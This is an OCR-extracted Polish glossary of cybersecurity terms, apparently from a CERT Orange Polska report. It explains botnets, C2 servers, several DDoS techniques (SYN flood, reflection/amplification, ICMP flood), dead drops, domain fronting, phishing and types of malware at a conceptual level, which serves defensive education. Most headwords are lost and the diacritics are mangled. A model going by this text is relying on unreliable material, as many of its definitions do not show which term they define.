gramowanie, ktérego podstawowym zadaniem jest
wys$wietlanie reklam na urzadzeniu uzytkownika. Czesto
jest instalowane jako komponent podczas instalacji
innego oprogramowania. Czesto réwniez jest dodawane
do darmowego oprogramowania oraz instalowane bez
wiedzy i zgody uzytkownika. Ten typ oprogramowania
moze wyswietlaé tresci zawierajgce ztosliwy kod - patrz:
Spyware.

- tylne drzwi”; luka w zabezpieczeniach syste-
mu komputerowego, utworzona umyslnie, w celu pézniej-
szego dostepu do systemu. Intruz moze utworzy¢ back-
doora, wtamujac sie poprzez inng luke w oprogramowaniu
lub wykorzystujgc uruchomienie trojana przez uzytkownika.

A

(ang. Blackhole — czarna dziura) — adresy IP
w internecie, w ktérych ruch sieciowy jest neutralizowany
bez informowania adresata lub nadawcy.

(od ang. robot) — zainfekowany i przejety komputer,
wykonujgcy polecenia atakujacego.

— sie¢ potgczonych botéw, zdalnie kontrolowana
przez atakujgcego. Botnety wykorzystywane sg najczesciej
do zmasowanych atakéw typu DDoS lub rozsytania spamu.

(ang. Command and Control) servers — infrastruktura
serwerOw zarzadzana przez cyberprzestepcédw, wykorzysty-
wana do zdalnego wysytania polecer i kontroli botnetéw.

(ang. Computer Emergency Response
Team, Computer Security Incident Response Team) —
zespot reagowania na zagrozenia komputerowe. Gtéwnym
zadaniem zespotu jest szybka reakcja na zgtaszane przy-
padki zagrozen i naruszen bezpieczenstwa sieciowego.
Prawo do uzywania nazwy CERT maja wytgcznie zespoty
spetniajace bardzo wysokie wymagania, potwierdzone
uzyskaniem stosownego certyfikatu, tak jak zespot CERT
Orange Polska.

- serwis umozliwiajgcy $ledzenie w czasie
rzeczywistym logéw udostepnianych przez wystawcow
certyfikatéw. Dzigki niemu jest mozliwy podglad zdarzen
zwigzanych z nowymi i odnawianymi certyfikatami, np. dla
stron internetowych.

(Caller ID) spoofing — polega na prezentowaniu odbior-
cy potaczenia gtosowego fatszywego numeru telefoniczne-
go osoby dzwonigce;j.

— autorskie rozwigzanie Orange Polska, ktore
chroni klientéw sieci operatora przed skutkami phishingu
czy ztosliwego oprogramowania.

(ang. Distributed Denial of Service) — rozproszony
atak odmowy ustugi; atak sieciowy polegajacy na wystaniu



do atakowanego systemu takiej ilosci danych, ktérych system
ten nie bedzie w stanie obstuzy¢. Celem ataku jest blokada
dostepnosci zasobdw sieciowych. W przypadku DDoS do ataku
wykorzystywanych jest wiele komputeréw i potaczen siecio-
wych, co odréznia go od ataku DoS, ktory korzysta z jednego
komputera i jednego potaczenia internetowego.

Opis rodzajow atakéw DDoS:

] — atak polegajacy na przesytfaniu przez ata-
kujacego duzych pakietéw (powyzej 1500 bajtéw). Zwazywszy
na konieczno$¢ ponownego potgczenia zdefragmentowanych
pakietéw na urzadzeniu korncowym, niezbedne jest wykorzy-
stanie dodatkowych zasobdw procesora, co obcigza system
komputerowy.

] —inaczej: atak odbity, czyli metoda wyko-
rzystujgca podatnosci protokotéw w komunikacji sieciowej.
W celu wzmocnienia (amplifikacji) uzyte moga by¢ podatnosci
takich protokotéw, jak: UDP, DNS, NTP czy CLDAP. Ataki
typu Reflection/Amplification (odbicie-wzmocnienie) zazwyczaj
wykorzystuja protokét UDP i ustugi, ktére nie weryfikuja zré-
dtowego adresu IP przychodzacych pakietéw (np. DNS, NTP).
Atakujacy najpierw generuje fatszywy pakiet ze Zrédtowym
adresem IP wskazujgcym na ofiare (cel ataku) i wysyta go do
tych ustug (reflektor), co skutkuje duzg odpowiedzig (wzmoc-
nieniem) wystang do ofiary.

] dziatajg w podobny

sposob, wysytajac sfatszowane pakiety TCP SYN do reflektora.

Pomimo Ze rozmiar pakietu dostarczonego do ofiary moze by¢
nieznacznie wigkszy od pakietu wystanego przez atakujgcego,
bazujg na tym, Ze reflektor potrafi wysta¢ do ofiary wiele odpo-
wiedzi SYN-ACK w krétkich odstgpach czasu, jesli nie otrzyma
koricowego ACK uzgodnienia, powodujac wzmochnienie. Licz-
ba oraz czestotliwos¢ wystanych odpowiedzi (SYN-ACK) moze
by¢ rézna z uwagi na urzadzenia i ustugi, zalezna m.in. od
uzywanego systemu operacyjnego, ustawien konfiguracyjnych.
Retransmisja moze jednak usta¢ po otrzymaniu pakietu RST
od ofiary w odpowiedzi na zapytanie, ktérego nie byta inicjato-
rem. Z tego wzgledu ta technika czesto jest wykorzystywana

w atakach typu carpet bombing, polegajacych na rownocze-
snym atakowaniu wielu IP czy catych sieci/podsieci, a nie tylko
pojedynczego IP. W podsieci czesto znajdujg sie réwniez ad-
resy IP, ktére sg routowalne, ale nie obstugujg zadnych ustug
(wtedy nie odpowiedza pakietem RST badz ICMP).

n — technika polegajgca na przestaniu niestandar-
dowej liczby duzych pakietéw ICMP w celu ,,zalania” sieci
komputerowej ofiary. Zazwyczaj przy tym ataku wykorzystuje
sie sie¢ przejetych urzadzen (botéw). W wyniku operacji naste-
puje ograniczenie przepustowosci sieci i zablokowanie ustug.

n — ataki oparte na
podatnosci three-way handshake, procedury nawigzywania
potaczenia wykorzystywanej w protokole TCP. Zalewanie
atakowanego hosta pakietami TCP z ustawiong flagg synchro-
nizacji (SYN), resetowaniem potaczenia (RST) czy potwierdze-
nia (ACK). Przyktadowo w ataku SYN Flood atakujacy wysyta
na porty TCP flage SYN, ktéra stuzy do inicjowania potaczenia
pomiedzy hostem Zrédtowym a docelowym. Nastepnie system
atakowanego odpowiada wiadomoscia SYN-ACK, ktora otwie-
ra port i czeka na potwierdzenie nawigzania potgczenia — czeka
na flage ACK od atakujgcego. Flaga jednak nie jest przesytana,
przez co potaczenie nigdy nie jest ustanawiane, ale przez okre-
$lony czas ofiara oczekuje na potwierdzenie, co wykorzystuje
jej zasoby.

— ukryty punkt wymiany danych pomiedzy zainfe-
kowanym systemem a operatorem malware, w ktérym komu-
nikacja odbywa sie posrednio, bez bezposredniego potaczenia
z serwerem C2. W cyberoperacjach uzywa sig publicznych ustug
internetowych. Typowe przyktady dead dropéw: komentarze
w serwisach internetowych (np. blog, forum), pliki w ustugach
typu GitHub / Pastebin, posty lub obrazy w mediach spofecz-
nosciowych, dokumenty w chmurze, rekordy DNS lub inne
publiczne repozytoria danych.

(ang. Domain Name System) — system nazw domenowych;
protokét przypisywania stownych nazw cyfrowym adresom IP.
System ten zostat stworzony dla wygody uzytkownikéw interne-
tu. Sie¢ dziata na bazie adreséw IP, a nie nazw domen, dlatego


http://cert.orange.pl

wymaga systemu DNS do odwzorowywania nazw domen
w adresy IP.

— serwer DNS, ktéry przekazuje fatszywe
informacje, uniemozliwiajgc potaczenie z docelowg strong
internetowa. Wykorzystywany do detekcji oraz blokowania
ztosliwego ruchu w sieci.

— technika ukrywania rzeczywistego
serwera docelowego komunikacji poprzez wykorzystanie
infrastruktury duzych dostawcéw ustug chmurowych lub
CDN. Mechanizm polega na rozdzieleniu domeny widocz-
nej w zapytaniu sieciowym od faktycznej domeny, do ktérej
trafia zadanie na poziomie aplikacyjnym.

(ang. Internet domain name)
- przestrzen adreséw (zasoboéw) zwigzanych z dang
organizacjg. Nazwa domeny jest elementem uzywanym
np. przy konstruowaniu adreséw URL do identyfikaciji
zasobow (serwiséw) nalezgcych do danej organizaciji. Przy-
ktadem moze byé domena orange.pl, w ktérej dostepne sg
zasoby zwigzane z tg domeng, tak jak serwis internetowy
dla klientéw Orange Polska — www.orange.pl.

— program, ktéry umozliwia przejecie kontroli nad
systemem komputerowym, wykorzystujac rézne luki w pro-
gramach i systemach operacyjnych.

- rodzaj oprogramowania, uruchamianego na
serwerach sieciowych i stuzacego do wykrywania luk w za-
bezpieczeniach.

— zapora sieciowa; oprogramowanie (urzadze-
nie), ktérego podstawowa funkcja jest filtrowanie ruchu
sieciowego. Mozna wyodrebni¢ zapore lokalng w postaci
narzedzi systemu operacyjnego (chronigca lokalny zasob
przed zagrozeniami pochodzacymi z sieci) lub sieciowa,
czesto w postaci specjalistycznego urzadzenia chronigce-
go wiekszg liczbe zasobdw.

(ang. Full Qualified Domain name) — petha nazwa
domenowa zasobu dostepnego w sieci, sktadajaca sie
z nazwy zasobu oraz domeny, ktérej jest czescig, np. www.
orange.pl (www to nazwa zasobu, a orange.pl to domena,
w ktérej sie znajduje). FQDN dla witryn internetowych jest
czescig URI / URL.

- ,garnek miodu”; putapka majgca na celu
wykrycie préby nieautoryzowanego dostepu do systemu
komputerowego lub pozyskania danych. Najczesciej sktada
sie z wyizolowanego komputera wraz z wyodrebnionym
obszarem sieci lokalnej, ktére razem udajg prawdziwa siec,
ale sg odizolowane i odpowiednio zabezpieczone. System
taki ma sprawia¢ wrazenie, jakby zawierat dane lub zasoby
atrakcyjne z punktu widzenia potencjalnego intruza.

(ang. Intrusion Detection System) — system wykry-
wania wlaman. System IDS monitoruje ruch sieciowy,
wykrywajac zagrozenia i powiadamiajac o zidentyfikowa-
nych zagrozeniach.

— zdarzenie zagrazajgce lub naruszajgce bezpie-
czenstwo w sieci. Do incydentéw zalicza sie m.in.: wtama-
nia lub préby wtaman do systeméw komputerowych, ataki
typu DDoS, spam, rozsytanie ztosliwego oprogramowania
i inne przypadki naruszania zasad, ktére obowigzujg w in-
ternecie.

(ang. Internet of Things) — Internet Rzeczy; koncepcja
systemu gromadzenia, przetwarzania i wymiany danych
pomiedzy ,,inteligentnymi” urzgdzeniami, za posrednictwem
sieci komputerowej. Do loT zalicza sie m.in.: urzadzenia
gospodarstwa domowego, artykuty oswietleniowe, budyn-
ki, pojazdy itp.

(ang. Intrusion Prevention System) — system wykry-
wania zagrozen i zapobiegania atakom w czasie rzeczy-
wistym.

— program lub urzadzenie, ktére rejestrujg dane
wprowadzane za pomoca klawiatury. Stuza do $ledzenia
dziatan i przechwytywania poufnych danych uzytkownika
(np.: danych uwierzytelniajacych, numeréw kart kredyto-
wych, danych kompromitujacych i innych).

- patrz: Podatnosc.

(ang. malicious sofware) — ztosliwe oprogramo-
wanie, ktérego celem jest szkodliwe dziatanie w stosunku
do uzytkownika komputera. Zalicza sie do niego m.in.:
wirusy komputerowe, robaki internetowe, konie trojariskie,
programy typu spyware.

(ang. Mobile Station International Subscriber
Directory Number) — numer telefonu; numer abonenta sieci
komérkowe;.

(ang. Open Web Application Security Project)
- globalne stowarzyszenie, ktérego gtéwng ideg jest popra-
wa bezpieczenstwa aplikacji webowych.

- oszustwo stosowane przez internetowych prze-
stepcéw w celu pozyskania cennych informagji, takich jak:
loginy i hasta, numery kart kredytowych czy numer PESEL.
Nazwa budzi dZwiekowe skojarzenia z fishingiem, czyli
towieniem ryb. Przestepcy, podobnie jak wedkarze, stosuja
odpowiednio przygotowana ,przynete”.

(ang. vulnerability) — btad, luka; cecha sprzetu
lub oprogramowania, stanowigca zagrozenie dla bezpie-
czenstwa. Moze zosta¢ wykorzystana przez atakujgcego,
jezeli nie zostanie zainstalowana odpowiednia poprawka.
Ransomware (ang. ransom — okup) — rodzaj ztosliwego
oprogramowania, ktéry po wprowadzeniu do systemu uzyt-
kownika szyfruje pliki na dysku. Odszyfrowanie wymaga
zaptacenia cyberprzestepcom okupu.

(ang. worm) internetowy — samoreplikujacy sie
ztosliwy program komputerowy. Rozprzestrzenia sie we
wszystkich sieciach, do ktérych jest podtaczony zainfeko-
wany komputer, wykorzystujgc luki w systemie operacyj-
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nym lub naiwnos$¢ uzytkownika. Robak potrafi m.in. niszczy¢
pliki, wysytaé spam albo petni funkcje backdoora lub konia
trojanskiego.

— program, ktérego zadaniem jest ukrycie obecnosci
i aktywnosci ztosliwego oprogramowania przed narzedziami
zabezpieczajgcymi system. Rootkit usuwa ukrywane programy
z listy procesow i jest wykorzystywany przez atakujgcego w celu
uzyskania nieautoryzowanego dostepu do komputera.

(ang. Security Information and Event Management) — sys-
tem pozwalajgcy na gromadzenie, filtrowanie i korelacje zdarzen
pochodzacych z wielu réznych zrédet. Wyniki korelacji zdarzen
sg wykorzystywane przez zespoty Security Operating Center
(patrz: SOC) lub inne zajmujace sie monitorowaniem stanu bez-
pieczenstwa ustug.

(ang. hole — dziura) — polega na przekierowaniu
niepozadanego ruchu sieciowego, generowanego przez ztosliwe
oprogramowanie lub botnety. Przekierowanie odbywa sie pod
adresy IP, gdzie zawartos¢ tego ruchu moze by¢ przeanalizowa-
na, jak réwniez pod nieistniejace adresy IP.

(SMS phishing) — phishing realizowany za pomoca
SMS-6w. Phishingowe SMS-y na ogét zawieraja linki do fatszy-
wych stron ptatnosci elektronicznych lub ztosliwych stron, ktére
naktaniajg uzytkownika do instalacji malware.

— dziatanie polegajace na podstuchiwaniu ruchu w sieci.
Sniffing moze by¢ wykorzystany do zarzadzania i usuwania
problemdéw w sieci przez administratoréw, ale takze przez cyber-
przestepcédw do przechwytywania poufnych informacji uzytkow-
nikéw (np. hasef). Popularnym atakiem wykorzystujgcym ten
mechanizm jest MiTM (ang. Man in The Middle).

(ang. Security Operations Center) — Operacyjne Centrum
Bezpieczenstwa, taczace zaréwno funkcje techniczne, jak i orga-
nizacyjne przy monitorowaniu zdarzen, wykrywaniu incydentow
bezpieczenstwa oraz do podejmowania reakcji. Wykorzystujg
one systemy typu SIEM korelujace zdarzenia z wielu zrodet
(patrz: SIEM).

— niezaméwione i niechciane wiadomosci rozsytane
masowo, zazwyczaj przy uzyciu poczty elektronicznej. Spam to
najczesciej wiadomosci reklamujgce produkty lub ustugi.

— dziatanie wykorzystywane w naduzyciach w sieci.
Najczesciej wykorzystywane sa: Spoofing adresu IP — ata-
kujacy ukrywa prawdziwy adres, wskazujgc na inne Zrédto
ataku; Spoofing adresu e-mail - atakujacy podszywa sie pod
innego nadawce; oraz Spoofing domen, ktéry podczas ataku
typu Phishing ma naktoni¢ ofiare do klikniecia w link i od-
wiedzenia odpowiednio spreparowanej strony internetowej
podszywajgcej sie pod znany podmiot (np. strona internetowa
banku, firmy kurierskiej czy znanej organizacji publicznej)

— patrz: Phishing.

(ang. spy software) — program szpiegujgcy dziatania
uzytkownika bez jego wiedzy Zbierane informacje dotyczg m.in.:
adresow odwiedzanych stron internetowych, adreséw e-mail,

haset czy numerdéw kart kredytowych. Do programéw typu spy-
ware nalezg np.: adware, trojany i keyloggery.

(ang. Secure Socket Layer) — bezpieczny protokét
zapewniajacy poufnosé i integralnosé transmisji danych.
Obecnie najczesciej uzywana jest wersja SSLv3 uznawana za
standard bezpiecznej wymiany danych i rozwijana pod nazwg
TLS (ang. Transport Layer Security). Starsze wersje protoko-
tu SSL nie powinny by¢ wykorzystywane ze wzgledu na ich
podatnosci.

negocjacja — etap, w ktérym uczestnicy konwersac;ji (syste-
my) dostosowujg wzajemnie optymalne parametry komunikacji
w taki sposob, aby zapewni¢ maksymalng zgodnosc¢ protokotu
(algorytmow) pomiedzy stronami. Jest to bardzo uzyteczna,
ale tez niebezpieczna funkcja w przypadku podatnych wersji
protokotu.

(ang. synchronization) — jedna z flag protokotu TCP, wysta-
na przez klienta do serwera w celu zainicjalizowania potgczenia.

(ang. flood — zalanie) — atak oparty jest na podatno-
$ci protokotu TCP w procedurze three-way handshake. Atakujg-
cy wysyta na porty TCP datagramy z flaga SYN, ktdra stuzy do
inicjowania potgczenia pomiedzy hostem Zrédtowym a docelo-
wym. Nastepnie system atakowanego odpowiada wiadomoscig
SYN-ACK, ktéra otwiera port, i czeka na potwierdzenie nawig-
zania potgczenia — czeka na flage ACK od atakujgcego. Kolejny
datagram z flagg ACK jednak nie jest przesytany, przez co po-
taczenie nigdy nie jest w petni ustanawiane, ale przez okreslony
czas ofiara oczekuje na potwierdzenie, utrzymujgc tablice sesji,
co wykorzystuje jej zasoby.

- kon trojanski; ztosliwy program, ktéry umozliwia
cyberprzestepcy zdalne przejecie petnej kontroli nad systemem
komputerowym. Instalacja konia trojariskiego najczesciej odby-
wa sie poprzez uruchomienie ztosliwych aplikacji pochodzacych
z niezaufanych stron internetowych lub zatgcznikéw e-mailo-
wych. Poza zdalnym wykonywaniem komend trojan umozliwia
podstuchanie komunikacji i przechwycenie hasta uzytkownika.

(Voice phishing) — phishing realizowany za pomoca
gtosowych potaczen telefonicznych. Jego skutecznosé czesto
zwiekszana jest poprzez zastosowanie CLI spoofingu — odpo-
wiedni numer prezentujacy sie osobie odbierajagcej potaczenie
pomaga przekonac jg, ze potgczenie inicjowane jest np. przez
pracownika banku czy firmowego helpdesku, co zwieksza
szanse oszustwa polegajgcego na nakfonieniu rozméwcy do
przekazania poufnych informacji, zainstalowania ztosliwego
oprogramowania, czy tez wejscia na fatszywa strone WWW
utworzong w celu wytudzenia danych logowania i haset jedno-
razowych.

(ang. virus) — ztosliwy program lub fragment kodu ukryty
wewnatrz innego programu, ktéry replikuje sie w systemie ope-
racyjnym uzytkownika. W zaleznosci od typu wirusa, posiada on
rézne funkcje destrukcyjne, od wyswietlania napiséw na moni-
torze, poprzez usuwanie plikdw, a nawet formatowanie dysku.
Od dekady ten typ zagrozenia ma coraz mniejsze znaczenie,
ustepujac miejsca innym zagrozeniom.
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